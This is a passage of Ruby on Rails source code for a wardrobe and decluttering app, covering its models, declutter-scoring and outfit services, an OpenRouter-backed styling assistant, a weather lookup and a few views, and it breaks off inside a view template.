  validates :item_id, uniqueness: { scope: :packing_list_id }
  validates :quantity, numericality: { only_integer: true, greater_than: 0 }
end

rails/amber/app/models/planned_outfit.rb

# frozen_string_literal: true

class PlannedOutfit < ApplicationRecord
  belongs_to :user
  belongs_to :outfit

  validates :planned_date, presence: true
  validates :planned_date, uniqueness: { scope: :user_id }

  scope :upcoming, -> { where("planned_date >= ?", Date.today).order(:planned_date) }
  scope :this_week, -> { where(planned_date: Date.today..7.days.from_now) }

  broadcasts_refreshes
end

rails/amber/app/models/post.rb

# frozen_string_literal: true

class Post < ApplicationRecord
  belongs_to :user
  belongs_to :outfit, optional: true, touch: true
  belongs_to :item,   optional: true, touch: true

  validates :body, presence: true, length: { maximum: 500 }

  scope :recent, -> { order(created_at: :desc) }

  broadcasts_refreshes

  def like! = increment!(:likes_count)
end

rails/amber/app/models/privacy_setting.rb

# frozen_string_literal: true

class PrivacySetting < ApplicationRecord
  belongs_to :user

  enum :wardrobe_visibility, { wardrobe_private: "private", wardrobe_followers: "followers", wardrobe_public: "public" }, default: :wardrobe_private
  enum :analytics_visibility, { analytics_private: "private", analytics_aggregate: "aggregate", analytics_public: "public" }, default: :analytics_private

  def public_wardrobe? = wardrobe_public?
end

rails/amber/app/models/profile.rb

# frozen_string_literal: true

class Profile < ApplicationRecord
  belongs_to :user
  has_one_attached :avatar

  validates :display_name, length: { maximum: 80 }
  validates :bio, length: { maximum: 500 }

  enum :visibility, { private_profile: "private", followers_only: "followers", public_profile: "public" }, default: :private_profile

  def name
    display_name.presence || user.email_address.to_s.split("@").first
  end
end

rails/amber/app/models/recommendation.rb

# frozen_string_literal: true

class Recommendation < ApplicationRecord
  belongs_to :user
  belongs_to :item, optional: true
  belongs_to :outfit, optional: true

  validates :kind, :reason, presence: true
  validates :score, numericality: true, allow_nil: true

  enum :kind, {
    outfit: "outfit",
    declutter: "declutter",
    purchase_gap: "purchase_gap",
    repair: "repair",
    resale: "resale",
    packing: "packing"
  }

  scope :active, -> { where(dismissed_at: nil) }
end

rails/amber/app/models/session.rb

# frozen_string_literal: true

class Session < ApplicationRecord
  belongs_to :user
end

rails/amber/app/models/style_preference.rb

# frozen_string_literal: true

class StylePreference < ApplicationRecord
  belongs_to :user

  validates :name, presence: true
  validates :weight, numericality: true

  enum :kind, {
    aesthetic: "aesthetic",
    color: "color",
    fit: "fit",
    material: "material",
    occasion: "occasion",
    avoid: "avoid"
  }, default: :aesthetic
end

rails/amber/app/models/style_profile.rb

# frozen_string_literal: true

class StyleProfile < ApplicationRecord
  belongs_to :user

  validates :body_type, length: { maximum: 128 }, allow_blank: true
  validates :style_preferences, length: { maximum: 2_000 }, allow_blank: true
  validates :preferred_colors, length: { maximum: 1_000 }, allow_blank: true
  validates :favorite_brands, length: { maximum: 1_000 }, allow_blank: true

  def color_list
    preferred_colors.to_s.split(/[,\n]/).map(&:strip).reject(&:blank?)
  end

  def brand_list
    favorite_brands.to_s.split(/[,\n]/).map(&:strip).reject(&:blank?)
  end
end

rails/amber/app/models/sustainability_metric.rb

# frozen_string_literal: true

class SustainabilityMetric < ApplicationRecord
  belongs_to :item

  validates :resale_value, :repair_cost_estimate, :environmental_score,
            numericality: { greater_than_or_equal_to: 0 }, allow_nil: true

  def unused?
    item.times_worn.to_i.zero?
  end

  def cost_per_wear = item.cost_per_wear
end

rails/amber/app/models/user.rb

# frozen_string_literal: true

class User < ApplicationRecord
  has_secure_password

  has_one :profile, dependent: :destroy
  has_one :creator_profile, dependent: :destroy
  has_one :privacy_setting, dependent: :destroy

  has_many :posts,           dependent: :destroy
  has_many :items,           dependent: :destroy
  has_many :outfits,         dependent: :destroy
  has_many :planned_outfits, dependent: :destroy
  has_many :style_preferences, dependent: :destroy
  has_many :packing_lists, dependent: :destroy
  has_many :recommendations, dependent: :destroy
  has_many :identity_verifications, dependent: :destroy
  has_many :consent_events, dependent: :destroy
  has_many :declutter_reviews, dependent: :destroy
  has_many :declutter_challenges, dependent: :destroy
  has_many :declutter_outcomes, dependent: :destroy

  has_many :follows_as_follower, class_name: "Follow", foreign_key: :follower_id, dependent: :destroy
  has_many :follows_as_followee, class_name: "Follow", foreign_key: :followee_id, dependent: :destroy
  has_many :following,       through: :follows_as_follower, source: :followee
  has_many :followers,       through: :follows_as_followee, source: :follower
  has_many :sessions,        dependent: :destroy

  normalizes :email_address, with: ->(e) { e.strip.downcase }

  after_create :ensure_identity_records

  broadcasts_refreshes

  def following?(other) = follows_as_follower.exists?(followee: other)
  def feed_posts        = Post.where(user: [self] + following.to_a).recent

  def public_creator? = creator_profile&.public? || false
  def wardrobe_public? = privacy_setting&.public_wardrobe? || false
  def declutter_summary = DeclutterDashboardService.new(self).summary

  private

  def ensure_identity_records
    create_profile! unless profile
    create_privacy_setting! unless privacy_setting
  end
end

rails/amber/app/models/wardrobe_item.rb

# frozen_string_literal: true

class WardrobeItem < ApplicationRecord
  CONDITIONS = %w[new excellent good worn repair retire].freeze

  belongs_to :user
  belongs_to :item

  validates :condition, inclusion: { in: CONDITIONS }, allow_blank: true
  validates :user_id, uniqueness: { scope: :item_id }

  scope :recent, -> { order(created_at: :desc) }
  scope :needs_attention, -> { where(condition: %w[repair retire]) }

  def age_in_days
    return 0 unless acquisition_date

    (Date.current - acquisition_date).to_i
  end
end

rails/amber/app/models/wear_log.rb

# frozen_string_literal: true

class WearLog < ApplicationRecord
  belongs_to :user
  belongs_to :item
  belongs_to :outfit, optional: true

  validates :worn_on, presence: true
  validates :context, length: { maximum: 300 }

  scope :recent, -> { order(worn_on: :desc, created_at: :desc) }
end

rails/amber/app/reflexes/application_reflex.rb

# frozen_string_literal: true

class ApplicationReflex < StimulusReflex::Reflex
end

rails/amber/app/services/capsule_builder_service.rb

# frozen_string_literal: true

class CapsuleBuilderService
  DEFAULT_LIMIT = 12

  def initialize(user)
    @user = user
  end

  def build(limit: DEFAULT_LIMIT, occasion: nil, season: nil)
    candidates = @user.items.joy
    candidates = candidates.by_occasion(occasion) if occasion.present?
    candidates = candidates.where(season: [season, "All-Season", nil, ""]) if season.present?

    selected = []
    Item::CATEGORIES.each do |category|
      item = candidates.by_category(category).worn_most.first || candidates.by_category(category).recent.first
      selected << item if item
    end

    remaining = candidates.where.not(id: selected.compact.map(&:id)).sort_by do |item|
      [-(item.times_worn.to_i), item.cost_per_wear || 999_999, item.created_at || Time.current]
    end

    (selected.compact + remaining).uniq.first(limit)
  end

  def explain(items)
    items.map do |item|
      {
        id: item.id,
        title: item.title,
        category: item.category,
        reason: reason_for(item)
      }
    end
  end

  private

  def reason_for(item)
    return "High utility: worn #{item.times_worn} times." if item.times_worn.to_i.positive?
    return "Strong emotional signal: sparks joy." if item.spark_joy?

    "Adds category coverage for #{item.category}."
  end
end

rails/amber/app/services/declutter_action_router.rb

# frozen_string_literal: true

class DeclutterActionRouter
  def initialize(item)
    @item = item
  end

  def action
    score = @item.declutter_score
    recommendation = score[:recommendation]

    {
      recommendation: recommendation,
      destination: destination_for(recommendation),
      copy: copy_for(recommendation),
      score: score
    }
  end

  private

  def destination_for(recommendation)
    case recommendation
    when "keep" then "active_wardrobe"
    when "wear_this_week" then "challenge"
    when "replace_gradually" then "replacement_watchlist"
    when "repair" then "repair_queue"
    when "sell" then "resale"
    when "donate" then donation_bucket
    when "sentimental_archive" then "memory_box"
    else "declutter_box"
    end
  end

  def donation_bucket
    return "winter_clothing_donation" if @item.category == "Outerwear"
    return "workwear_donation" if @item.occasions.include?("work")
    return "textile_recycling" if @item.lifecycle_state == "repair"

    "general_donation"
  end

  def copy_for(recommendation)
    case recommendation
    when "keep" then "Keep: it still has joy and real utility."
    when "wear_this_week" then "Try once this week before deciding."
    when "replace_gradually" then "Useful but low joy: replace only when a better version appears."
    when "repair" then "Repair before releasing; this may still serve you."
    when "sell" then "Good resale candidate. Photograph and list it while in season."
    when "donate" then "Ready to release through donation."
    when "sentimental_archive" then "Move out of daily wardrobe into a memory archive."
    else "Move to a 30-day declutter box."
    end
  end
end

rails/amber/app/services/declutter_dashboard_service.rb

# frozen_string_literal: true

class DeclutterDashboardService
  def initialize(user)
    @user = user
  end

  def summary
    items = @user.items
    active = items.active_wardrobe
    released = items.where(lifecycle_state: %w[released donated sold recycled])

    {
      total_items: items.count,
      active_items: active.count,
      declutter_box: items.declutter_box.count,
      sentimental_archive: items.sentimental.count,
      released_items: released.count,
      never_worn: active.never_worn.count,
      duplicate_groups: DuplicateDetectorService.new(@user).groups.count,
      amount_recovered: @user.declutter_outcomes.sum(:amount_recovered),
      top_candidates: top_candidates(active),
      matrix: matrix(active)
    }
  end

  private

  def top_candidates(scope)
    scope.to_a.sort_by { |item| -item.declutter_score[:total_release_score] }.first(12)
  end

  def matrix(scope)
    scope.group_by { |item| item.declutter_score[:quadrant] }.transform_values(&:count)
  end
end

rails/amber/app/services/declutter_score_service.rb

# frozen_string_literal: true

class DeclutterScoreService
  def initialize(item)
    @item = item
  end

  def score
    {
      joy: joy_score,
      utility: utility_score,
      fit: fit_score,
      duplicate_pressure: duplicate_pressure,
      cost_pressure: cost_pressure,
      repair_pressure: repair_pressure,
      total_release_score: total_release_score.round(3),
      quadrant: quadrant,
      recommendation: recommendation
    }
  end

  def recommendation
    return "keep" if high_joy? && high_utility?
    return "sentimental_archive" if sentimental_signal? && !high_utility?
    return "wear_this_week" if high_joy? && !high_utility?
    return "replace_gradually" if !high_joy? && high_utility?
    return "repair" if repair_pressure > 0.65
    return "sell" if resale_candidate?
    return "donate" if donation_candidate?

    "declutter_box"
  end

  private

  def joy_score
    return 1.0 if @item.spark_joy == true
    return 0.15 if @item.spark_joy == false

    case @item.life_phase
    when "current" then 0.65
    when "aspirational" then 0.45
    when "past-self" then 0.25
    else 0.5
    end
  end

  def utility_score
    wears = @item.times_worn.to_i
    recent_bonus = @item.respond_to?(:last_worn_on) && @item.last_worn_on.present? && @item.last_worn_on > 90.days.ago.to_date ? 0.25 : 0
    ([wears / 20.0, 0.75].min + recent_bonus).clamp(0.0, 1.0)
  end

  def fit_score
    review = @item.declutter_review
    return 0.2 if review&.reason_kept == "uncomfortable"
    return 0.35 if @item.life_phase == "past-self"

    0.75
  end

  def duplicate_pressure
    similar = @item.user.items.active_wardrobe.where.not(id: @item.id).select { |candidate| candidate.duplicate_key == @item.duplicate_key }
    [similar.size / 4.0, 1.0].min
  end

  def cost_pressure
    return 0.0 unless @item.price.present?
    return 0.8 if @item.times_worn.to_i.zero? && @item.price.to_f > 500
    return 0.5 if @item.cost_per_wear.to_f > 250

    0.1
  end

  def repair_pressure
    return 0.0 unless @item.lifecycle_state.in?(%w[repair clean_needed tailor])
    estimate = @item.sustainability_metric&.repair_cost_estimate.to_f
    price = @item.price.to_f
    return 0.5 if price.zero?

    [estimate / price, 1.0].min
  end

  def total_release_score
    (1.0 - joy_score) * 0.28 +
      (1.0 - utility_score) * 0.28 +
      (1.0 - fit_score) * 0.14 +
      duplicate_pressure * 0.14 +
      cost_pressure * 0.08 +
      repair_pressure * 0.08
  end

  def quadrant
    return "high_joy_high_use" if high_joy? && high_utility?
    return "high_joy_low_use" if high_joy? && !high_utility?
    return "low_joy_high_use" if !high_joy? && high_utility?

    "low_joy_low_use"
  end

  def high_joy? = joy_score >= 0.6
  def high_utility? = utility_score >= 0.45

  def sentimental_signal?
    @item.declutter_review&.reason_kept.in?(%w[memory gift rare]) || @item.life_phase == "past-self"
  end

  def resale_candidate?
    @item.price.to_f >= 300 && @item.photos.attached? && total_release_score > 0.45
  end

  def donation_candidate?
    total_release_score > 0.55 && !resale_candidate?
  end
end

rails/amber/app/services/duplicate_detector_service.rb

# frozen_string_literal: true

class DuplicateDetectorService
  def initialize(user)
    @user = user
  end

  def groups(min_size: 2)
    @user.items.active_wardrobe.group_by(&:duplicate_key).values.select { |items| items.size >= min_size }
  end

  def ranked_groups
    groups.map do |items|
      {
        key: items.first.duplicate_key,
        count: items.size,
        keeper: best_keeper(items),
        candidates: release_candidates(items),
        reason: reason_for(items)
      }
    end.sort_by { |group| -group[:count] }
  end

  private

  def best_keeper(items)
    items.max_by { |item| [item.times_worn.to_i, item.spark_joy? ? 1 : 0, -(item.cost_per_wear || 0)] }
  end

  def release_candidates(items)
    keeper = best_keeper(items)
    items.reject { |item| item == keeper }.sort_by { |item| [-item.declutter_score[:total_release_score], item.times_worn.to_i] }
  end

  def reason_for(items)
    first = items.first
    "#{items.size} similar #{first.color} #{first.category.to_s.downcase} items. Keep the best-fitting favorite and release weak duplicates."
  end
end

rails/amber/app/services/garment_taxonomy.rb

# frozen_string_literal: true

class GarmentTaxonomy
  CATEGORY_ALIASES = {
    "top" => "Tops",
    "shirt" => "Tops",
    "tee" => "Tops",
    "t-shirt" => "Tops",
    "pants" => "Bottoms",
    "trousers" => "Bottoms",
    "jeans" => "Bottoms",
    "skirt" => "Bottoms",
    "dress" => "Dresses",
    "shoe" => "Shoes",
    "sneaker" => "Shoes",
    "boot" => "Shoes",
    "jacket" => "Outerwear",
    "coat" => "Outerwear",
    "accessory" => "Accessories",
    "bag" => "Accessories"
  }.freeze

  WEATHER_BY_MATERIAL = {
    /wool|cashmere|alpaca/i => "cold",
    /linen|hemp/i => "warm",
    /cotton/i => "mild",
    /leather|suede/i => "dry",
    /nylon|polyester|shell/i => "rain"
  }.freeze

  FORMALITY_BY_CATEGORY = {
    "Dresses" => 0.65,
    "Outerwear" => 0.45,
    "Shoes" => 0.5,
    "Accessories" => 0.35,
    "Tops" => 0.4,
    "Bottoms" => 0.4
  }.freeze

  def self.normalize_category(value)
    raw = value.to_s.strip
    Item::CATEGORIES.find { |category| category.casecmp?(raw) } || CATEGORY_ALIASES.fetch(raw.downcase, raw.presence || "Accessories")
  end

  def self.weather_fit(item)
    material = item.material.to_s
    match = WEATHER_BY_MATERIAL.find { |pattern, _fit| material.match?(pattern) }
    match&.last || "all_weather"
  end

  def self.formality_score(item)
    base = FORMALITY_BY_CATEGORY.fetch(item.category, 0.4)
    modifiers = [item.brand, item.material, item.occasion_tags].join(" ")
    base += 0.2 if modifiers.match?(/silk|wool|tailored|formal|wedding|office/i)
    base -= 0.15 if modifiers.match?(/gym|sweat|jersey|beach/i)
    base.clamp(0.0, 1.0).round(2)
  end

  def self.semantic_tags(item)
    [
      item.category,
      item.color,
      item.material,
      item.brand,
      weather_fit(item),
      "formality:#{formality_score(item)}",
      *item.occasions
    ].compact.map(&:to_s).reject(&:blank?).uniq
  end
end

rails/amber/app/services/last_chance_outfit_service.rb

# frozen_string_literal: true

class LastChanceOutfitService
  def initialize(item)
    @item = item
    @user = item.user
  end

  def suggestions(limit: 3)
    compatible_items = @user.items.active_wardrobe.where.not(id: @item.id).to_a
    outfits = []

    limit.times do |index|
      outfit_items = build_candidate(compatible_items, offset: index)
      outfits << explain(outfit_items) if outfit_items.size > 1
    end

    outfits.uniq { |outfit| outfit[:item_ids].sort }
  end

  private

  def build_candidate(items, offset: 0)
    selected = [@item]
    needed_categories.each_with_index do |category, idx|
      candidate = items.select { |item| item.category == category }.sort_by do |item|
        [-(item.times_worn.to_i), item.color.to_s == @item.color.to_s ? 0 : 1, item.title.to_s]
      end.rotate(offset + idx).first
      selected << candidate if candidate
    end
    selected.compact.uniq
  end

  def needed_categories
    case @item.category
    when "Tops" then %w[Bottoms Shoes Outerwear]
    when "Bottoms" then %w[Tops Shoes Outerwear]
    when "Shoes" then %w[Tops Bottoms]
    when "Dresses" then %w[Shoes Outerwear Accessories]
    else %w[Tops Bottoms Shoes]
    end
  end

  def explain(items)
    {
      item_ids: items.map(&:id),
      titles: items.map(&:title),
      reason: "Last-chance outfit for #{@item.title}: test whether it still has a role in your real wardrobe."
    }
  end
end

rails/amber/app/services/outfit_compatibility_service.rb

# frozen_string_literal: true

class OutfitCompatibilityService
  OCCASION_WEIGHTS = {
    "work" => 0.72,
    "formal" => 0.85,
    "gym" => 0.18,
    "date" => 0.65,
    "travel" => 0.45,
    "casual" => 0.35
  }.freeze

  def initialize(user)
    @user = user
  end

  def score(outfit, occasion: nil, weather: nil)
    items = outfit.items.to_a
    return 0.0 if items.empty?

    scores = [category_balance(items), color_balance(items), occasion_fit(items, occasion), weather_fit(items, weather), preference_fit(items)]
    (scores.sum / scores.size).round(3)
  end

  def explain(outfit, occasion: nil, weather: nil)
    items = outfit.items.to_a
    {
      category_balance: category_balance(items),
      color_balance: color_balance(items),
      occasion_fit: occasion_fit(items, occasion),
      weather_fit: weather_fit(items, weather),
      preference_fit: preference_fit(items),
      overall: score(outfit, occasion:, weather:)
    }
  end

  private

  def category_balance(items)
    categories = items.map(&:category).compact
    required = %w[Tops Bottoms Shoes]
    coverage = required.count { |category| categories.include?(category) } / required.size.to_f
    [coverage, 1.0].min
  end

  def color_balance(items)
    colors = items.map(&:color).compact_blank.map(&:downcase)
    return 0.5 if colors.empty?
    unique = colors.uniq.size
    return 0.9 if unique <= 3
    return 0.7 if unique == 4

    0.45
  end

  def occasion_fit(items, occasion)
    return 0.7 if occasion.blank?
    desired = OCCASION_WEIGHTS.fetch(occasion.to_s.downcase, 0.5)
    avg = items.sum { |item| GarmentTaxonomy.formality_score(item) } / items.size.to_f
    (1.0 - (desired - avg).abs).clamp(0.0, 1.0)
  end

  def weather_fit(items, weather)
    return 0.75 if weather.blank?
    weather = weather.to_s.downcase
    matches = items.count { |item| [GarmentTaxonomy.weather_fit(item), "all_weather"].include?(weather) || GarmentTaxonomy.weather_fit(item) == "all_weather" }
    [matches / items.size.to_f, 1.0].min
  end

  def preference_fit(items)
    preferences = @user.style_preferences.to_a
    return 0.7 if preferences.empty?

    text = items.map(&:embedding_text).join(" ").downcase
    total_weight = preferences.sum { |preference| preference.weight.to_f.abs }
    return 0.7 if total_weight.zero?

    score = preferences.sum do |preference|
      text.include?(preference.name.to_s.downcase) ? preference.weight.to_f : 0
    end

    ((score / total_weight) + 0.5).clamp(0.0, 1.0)
  end
end

rails/amber/app/services/outfit_ordering.rb

# frozen_string_literal: true

class OutfitOrdering
  def self.call(outfit, ordered_ids)
    new(outfit, ordered_ids).call
  end

  def initialize(outfit, ordered_ids)
    @outfit = outfit
    @ordered_ids = Array(ordered_ids).map(&:to_s)
  end

  def call
    items = outfit.outfit_items.where(id: ordered_ids)
    index = ordered_ids.each_with_index.to_h

    items.find_each do |outfit_item|
      outfit_item.update!(position: index.fetch(outfit_item.id.to_s, outfit_item.position))
    end

    Shared::EventEmitter.call("amber.outfit.reordered", outfit_id: outfit.id, count: ordered_ids.size) if defined?(Shared::EventEmitter)
    outfit.outfit_items.order(:position)
  end

  private

  attr_reader :outfit, :ordered_ids
end

rails/amber/app/services/wardrobe_ai_service.rb

# frozen_string_literal: true

require "zlib"
require "base64"

class WardrobeAiService
  OPENROUTER_BASE = "https://openrouter.ai/api/v1"
  MODEL = "google/gemini-2.0-flash-001"

  def initialize(user, client: nil)
    @user = user
    @client = client || build_client
  end

  def analyze_joy(item)
    prompt = <<~PROMPT
      Analyze this clothing item from a Marie Kondo perspective.
      Reply with JSON: {"sparks_joy": true/false, "reason": "brief explanation", "suggestion": "action to take"}

      Item: #{item.title}
      Category: #{item.category}
      Color: #{item.color}
      Times worn: #{item.times_worn || 0}
      Age: #{item.purchase_date ? "#{((Date.today - item.purchase_date) / 365).to_i} years" : "unknown"}
    PROMPT

    chat(prompt).tap do |r|
      r["sparks_joy"] = nil unless r.key?("sparks_joy")
      r["reason"]     ||= "Analysis unavailable"
      r["suggestion"] ||= "Trust your instincts"
    end
  end

  def suggest_outfits(occasion: nil, season: nil)
    items = @user.items.joy.active_wardrobe.limit(20).to_a
    items_summary = items.map { |i| "#{i.title} (#{i.category}, #{i.color})" }.join(", ")
    prompt = <<~PROMPT
      You are a fashion stylist with vision. Suggest 3 outfit combinations (3 items each) from the wardrobe.
      Use both the text metadata and the attached photos to judge fit, colour harmony, style, and occasion.
      #{occasion ? "Occasion: #{occasion}" : ""}
      #{season ? "Season: #{season}" : ""}
      Items: #{items_summary}
      Reply ONLY with JSON: {"outfits": [{"name": "outfit name", "items": ["item title 1", "item title 2", "item title 3"], "description": "why it works"}]}
    PROMPT
    vision_items = items.select { |i| i.photos.attached? }.first(5)
    if vision_items.any? && @client
      images = vision_items.map { |i| image_data_url(i.photos.first) }.compact
      chat_with_vision(prompt, images)["outfits"] || []
    else
      chat(prompt)["outfits"] || []
    end
  end

  def declutter_candidates
    @user.items.aging_unworn.order(price: :desc)
  end

  def capsule_optimizer
    catalog = @user.items.map { |i| "#{i.id}:#{i.title}(#{i.category},#{i.color})" }.join("; ")
    prompt = <<~P
      You are a capsule wardrobe expert. Given this wardrobe catalog, select a minimum keep-set
      that maximises outfit combinations. For each item return: keep/consider/release and reason.
      Respond with JSON: {"items":[{"id":N,"title":"...","decision":"keep|consider|release","reason":"..."}],"gap_items":["description of missing pieces"]}
      Catalog: #{catalog}
    P
    chat(prompt)
  end

  def color_palette_analysis
    items_desc = @user.items.map { |i| "#{i.title}: #{i.color}" }.join(", ")
    prompt = <<~P
      Analyse this wardrobe color list and identify the dominant palette, harmony gaps,
      and any clashing items. Map to a seasonal color system where possible.
      Respond with JSON: {"palette":"...","season_type":"...","harmonious":["item desc"],"clashing":["item desc"],"suggestions":["..."]}
      Items: #{items_desc}
    P
    chat(prompt)
  end

  def natural_language_search(query)
    catalog = @user.items.map { |i| "id=#{i.id} #{i.title} #{i.category} #{i.color} #{i.material} #{i.occasion_tags} #{i.season}" }.join("\n")
    prompt = <<~P
      From this wardrobe, find items matching: "#{query}"
      Return JSON: {"item_ids":[array of matching ids],"explanation":"..."}
      Wardrobe:
      #{catalog}
    P
    chat(prompt)
  end

  def mood_board_match(description)
    catalog = @user.items.map { |i| "id=#{i.id} #{i.title} #{i.category} #{i.color} #{i.material}" }.join("\n")
    prompt = <<~P
      Style reference: "#{description}"
      From this wardrobe, suggest the best outfit matching that aesthetic.
      Return JSON: {"item_ids":[array of ids],"outfit_name":"...","description":"why this matches"}
      Wardrobe:
      #{catalog}
    P
    chat(prompt)
  end

  def enclothed_cognition_tag(item)
    prompt = <<~P
      For this clothing item, suggest the most likely psychological/mood effect when worn.
      Choose one: energising, calming, confident, playful, neutral.
      Also suggest life_phase: current, past-self, or aspirational.
      Reply JSON: {"mood_effect":"...","life_phase":"...","reason":"..."}
      Item: #{item.title}, category: #{item.category}, color: #{item.color}, brand: #{item.brand}
    P
    chat(prompt)
  end

  def embedding_for(item)
    text = item.embedding_text.to_s
    seed = Zlib.crc32(text)
    Array.new(64) do |index|
      (((seed + index * 1_103_515_245) % 10_000) / 10_000.0).round(6)
    end
  end

  private

  def build_client
    token = ENV["OPENROUTER_API_KEY"].to_s.strip
    return nil if token.empty?

    OpenAI::Client.new(access_token: token, uri_base: OPENROUTER_BASE)
  end

  def chat(prompt)
    return fallback_response(prompt) unless @client

    response = @client.chat(
      parameters: {
        model: MODEL,
        messages: [{ role: "user", content: prompt }],
        response_format: { type: "json_object" },
      },
    )
    content = response.dig("choices", 0, "message", "content")
    return fallback_response(prompt) if content.blank?

    JSON.parse(content)
  rescue JSON::ParserError => e
    Rails.logger.warn("WardrobeAI invalid JSON: #{e.message}")
    fallback_response(prompt)
  rescue StandardError => e
    Rails.logger.error("WardrobeAI error: #{e.class}: #{e.message}")
    fallback_response(prompt)
  end

  def fallback_response(prompt)
    if prompt.include?("outfit combinations")
      { "outfits" => [] }
    elsif prompt.include?("matching:")
      { "item_ids" => [], "explanation" => "AI search unavailable" }
    elsif prompt.include?("capsule wardrobe")
      { "items" => [], "gap_items" => [] }
    else
      {}
    end
  end

  def infer_style_profile(answers)
    prompt = <<~PROMPT
      User answered these 5 style profile questions. Infer primary aesthetic as one of: minimal, bold, classic.
      Return JSON only: {"aesthetic": "minimal|bold|classic", "reason": "short", "suggestions": ["item type 1", "item type 2"]}
      Answers: #{answers.inspect}
      Current wardrobe sample: #{ @user.items.limit(3).map { |i| "#{i.title} (#{i.category}, #{i.color})" }.join("; ") }
    PROMPT
    chat(prompt)
  end

  def suggest_packing_list(duration, climate)
    prompt = <<~PROMPT
      Suggest 5-8 outfits from the user's wardrobe for a #{duration}-day trip in #{climate} climate.
      Return JSON: {"outfits": [{"name": "outfit name", "items": ["item title 1", "item title 2"]}, ...], "tips": "brief packing tip"}
      User wardrobe: #{ @user.items.limit(10).map { |i| "#{i.title} (#{i.category}, #{i.color}, #{i.season})" }.join("; ") }
    PROMPT
    chat(prompt)
  end

  def image_data_url(photo)
    return nil unless photo
    data = photo.download
    "data:#{photo.content_type.presence || 'image/jpeg'};base64,#{Base64.strict_encode64(data)}"
  end

  def chat_with_vision(prompt, image_data_urls)
    return fallback_response(prompt) unless @client && image_data_urls.any?

    content = [{ type: "text", text: prompt }]
    image_data_urls.each do |url|
      content << { type: "image_url", image_url: { url: url } }
    end

    response = @client.chat(
      parameters: {
        model: MODEL,
        messages: [{ role: "user", content: content }],
      },
    )
    content = response.dig("choices", 0, "message", "content")
    return fallback_response(prompt) if content.blank?

    JSON.parse(content)
  rescue JSON::ParserError => e
    Rails.logger.warn("WardrobeAI vision invalid JSON: #{e.message}")
    fallback_response(prompt)
  rescue StandardError => e
    Rails.logger.error("WardrobeAI vision error: #{e.class}: #{e.message}")
    fallback_response(prompt)
  end
end

rails/amber/app/services/wardrobe_gap_service.rb

# frozen_string_literal: true

class WardrobeGapService
  ESSENTIALS = {
    "Tops" => 5,
    "Bottoms" => 3,
    "Shoes" => 2,
    "Outerwear" => 1,
    "Accessories" => 2
  }.freeze

  CONNECTORS = [
    { name: "neutral top", category: "Tops", colors: %w[white black navy grey beige] },
    { name: "dark bottom", category: "Bottoms", colors: %w[black navy denim charcoal] },
    { name: "weather layer", category: "Outerwear", colors: %w[black navy beige olive] },
    { name: "versatile shoe", category: "Shoes", colors: %w[black white brown] }
  ].freeze

  def initialize(user)
    @user = user
  end

  def gaps
    ESSENTIALS.filter_map do |category, minimum|
      count = @user.items.by_category(category).count
      next if count >= minimum

      {
        kind: "category_minimum",
        category: category,
        owned: count,
        target: minimum,
        missing: minimum - count,
        reason: "A resilient wardrobe usually needs at least #{minimum} #{category.downcase}."
      }
    end + connector_gaps
  end

  def create_recommendations!
    gaps.each do |gap|
      @user.recommendations.find_or_create_by!(kind: "purchase_gap", reason: gap[:reason]) do |recommendation|
        recommendation.score = gap.fetch(:missing, 1).to_f
        recommendation.metadata = gap
      end
    end
  end

  private

  def connector_gaps
    CONNECTORS.filter_map do |connector|
      exists = @user.items.by_category(connector[:category]).any? do |item|
        connector[:colors].include?(item.color.to_s.downcase)
      end
      next if exists

      {
        kind: "connector",
        category: connector[:category],
        name: connector[:name],
        reason: "Missing #{connector[:name]} for easier outfit combinations."
      }
    end
  end
end

rails/amber/app/services/wardrobe_visibility_policy.rb

# frozen_string_literal: true

class WardrobeVisibilityPolicy
  def initialize(viewer:, owner:)
    @viewer = viewer
    @owner = owner
  end

  def can_view_wardrobe?
    return true if @viewer == @owner

    setting = @owner.privacy_setting
    return false unless setting
    return true if setting.wardrobe_public?
    return @viewer&.following?(@owner) if setting.wardrobe_followers?

    false
  end

  def can_remix_creator_wardrobe?
    @owner.creator_profile&.public? && @owner.privacy_setting&.allow_creator_remix?
  end

  def can_run_ai_analysis?
    @viewer == @owner && (@owner.privacy_setting&.allow_ai_analysis? != false)
  end
end

rails/amber/app/services/weather_service.rb

# frozen_string_literal: true

class WeatherService
  BERGEN_LAT  = 60.39
  BERGEN_LNG  = 5.32
  API_URL     = "https://api.open-meteo.com/v1/forecast"

  def self.today
    uri = URI("#{API_URL}?latitude=#{BERGEN_LAT}&longitude=#{BERGEN_LNG}" \
              "&current=temperature_2m,weathercode,windspeed_10m" \
              "&forecast_days=1")
    data = JSON.parse(Net::HTTP.get(uri))
    current = data["current"]
    {
      temp:        current["temperature_2m"].to_f,
      code:        current["weathercode"].to_i,
      wind:        current["windspeed_10m"].to_f,
      description: decode_weather(current["weathercode"].to_i)
    }
  rescue StandardError => e
    Rails.logger.warn("WeatherService: #{e.message}")
    nil
  end

  def self.decode_weather(code)
    case code
    when 0       then "Clear"
    when 1..3    then "Partly cloudy"
    when 45, 48  then "Foggy"
    when 51..67  then "Rainy"
    when 71..77  then "Snowy"
    when 80..82  then "Showers"
    when 95..99  then "Thunderstorm"
    else              "Mixed"
    end
  end
end

rails/amber/app/views/ai/_analysis.html.erb

<aside class="ai-card">
  <% if result["sparks_joy"].nil? %>
    <p class="dim">Analysis unavailable</p>
  <% else %>
    <strong><%= result["sparks_joy"] ? "Sparks joy" : "Does not spark joy" %></strong>
    <p><%= result["reason"] %></p>
    <p class="dim"><em><%= result["suggestion"] %></em></p>
  <% end %>
</aside>

rails/amber/app/views/ai/_item_tags.html.erb

<div id="item_<%= item.id %>_tags" class="ai-card">
  <% if item.mood_effect.present? %>
    <span class="tag">Mood: <%= item.mood_effect %></span>
  <% end %>
  <% if item.life_phase.present? %>
    <span class="tag tag--phase"><%= item.life_phase %></span>
  <% end %>
  <% if result["reason"].present? %>
    <p class="dim"><%= result["reason"] %></p>
  <% end %>
</div>

rails/amber/app/views/ai/capsule.html.erb

<% content_for :title, "Capsule Optimizer" %>

<header>
  <div>
    <p class="dim">Capsule builder</p>
    <h1>Capsule Wardrobe Optimizer</h1>
  </div>
  <nav>
    <%= link_to "Wardrobe", items_path, class: "btn" %>
    <%= link_to "Outfits", outfits_path, class: "btn" %>
  </nav>
</header>

<% if @result["items"] %>
  <div class="tag-row">
    <span class="tag"><%= pluralize(@result["items"].size, "item reviewed") %></span>
    <span class="tag"><%= pluralize(Array(@result["gap_items"]).size, "gap") %></span>
  </div>

  <div class="capsule-list">
    <% @result["items"].each do |item| %>
      <div class="capsule-row capsule-row--<%= item["decision"] %>">
